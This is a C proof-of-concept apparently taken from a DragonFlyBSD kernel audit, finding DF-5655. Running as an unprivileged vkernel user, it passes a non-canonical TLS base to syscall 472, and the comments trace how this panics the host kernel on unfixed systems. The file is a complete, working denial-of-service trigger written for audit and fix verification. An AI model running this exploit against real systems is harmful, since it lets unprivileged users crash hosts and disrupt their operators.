⬢ DragonFlyBSD Kernel Audit
DF-5655 / vk_tls_noncanon.c
← back to finding ↓ download raw
/*
 * DF-5655 trigger — runs INSIDE the vkernel as an unprivileged in-vkernel
 * user (via as_nobody).  Calls the VKERNEL's set_tls_area (syscall 472)
 * with a NON-CANONICAL GSBASE (bit 47 set, bits 63:48 clear).
 *
 * Baseline expectation (unfixed vkernel + unfixed host):
 *   - the vkernel's sys_set_tls_area (vkernel64/x86_64/tls.c:96-102)
 *     performs no base validation (only info.size < -1 is checked),
 *     stores the value into td_tls == td_savevext.vx_tls, returns 0;
 *   - on the syscall-return path go_user() hands &td_savevext to the HOST
 *     vmspace_ctl(VMSPACE_CTL_RUN) (trap.c:1407-1408);
 *   - host copyin (vm_vmspace.c:293), cpu_sanitize_tls NOP (machdep.c:924),
 *     host set_user_TLS() wrmsr(MSR_KGSBASE, non-canonical) (pc64 tls.c:171)
 *     -> #GP(0) in HOST kernel mode -> HOST (= guest) kernel panic.
 *   We never return from the syscall: the last console line is the marker.
 *
 * Fixed-vkernel expectation: syscall returns -1/EINVAL before any
 * vmspace_ctl; marker + "rc=-1 errno=22"; vkernel and host stay up.
 *
 * No libc TLS-dependent calls: raw write(2), manual hex formatting.
 */
#include <unistd.h>

struct tls_info_df { void *base; long size; };

static long
df_set_tls_area(int which, struct tls_info_df *info, unsigned long infosize)
{
	long ret;
	__asm__ volatile("syscall"
	    : "=a"(ret)
	    : "a"(472L), "D"((long)which), "S"(info), "d"(infosize)
	    : "rcx", "r11", "memory");
	return (ret);
}

static void
wr(const char *s)
{
	int n = 0;
	while (s[n]) n++;
	write(1, s, n);
}

static void
wrhex(unsigned long v)
{
	char b[19];
	int i;
	b[0] = '0'; b[1] = 'x';
	for (i = 0; i < 16; i++)
		b[2 + i] = "0123456789abcdef"[(v >> (60 - 4 * i)) & 0xf];
	b[18] = 0;
	wr(b);
}

static void
wrdec(long v)
{
	char b[24];
	int i = 23;
	int neg = v < 0;
	unsigned long u = neg ? -v : v;
	b[i--] = 0;
	if (u == 0) b[i--] = '0';
	while (u) { b[i--] = '0' + u % 10; u /= 10; }
	if (neg) b[i--] = '-';
	wr(&b[i + 1]);
}

int
main(int argc, char **argv)
{
	struct tls_info_df info;
	int which = (argc > 1) ? (argv[1][0] - '0') : 1;
	long rc;

	info.base = (void *)0x0000800000000000UL;	/* non-canonical */
	info.size = -1;

	wr("DF5655: uid=");
	wrdec(getuid());
	wr(" gid=");
	wrdec(getgid());
	wr(" poisoning TLS which=");
	wrdec(which);
	wr(" base=");
	wrhex((unsigned long)info.base);
	wr(" size=-1\n");

	rc = df_set_tls_area(which, &info, sizeof(info));

	/* Only reached when the value is REJECTED (fixed vkernel) or the
	 * host failed to fault (non-native wrmsr semantics). */
	wr("DF5655: RETURNED rc=");
	wrdec(rc);
	wr(" (errno via raw: -1 means error; errno 22=EINVAL expected on fix)\n");
	if (rc == 0)
		wr("DF5655: WARNING installed non-canonical base without fault\n");
	return (rc == 0 ? 1 : 0);
}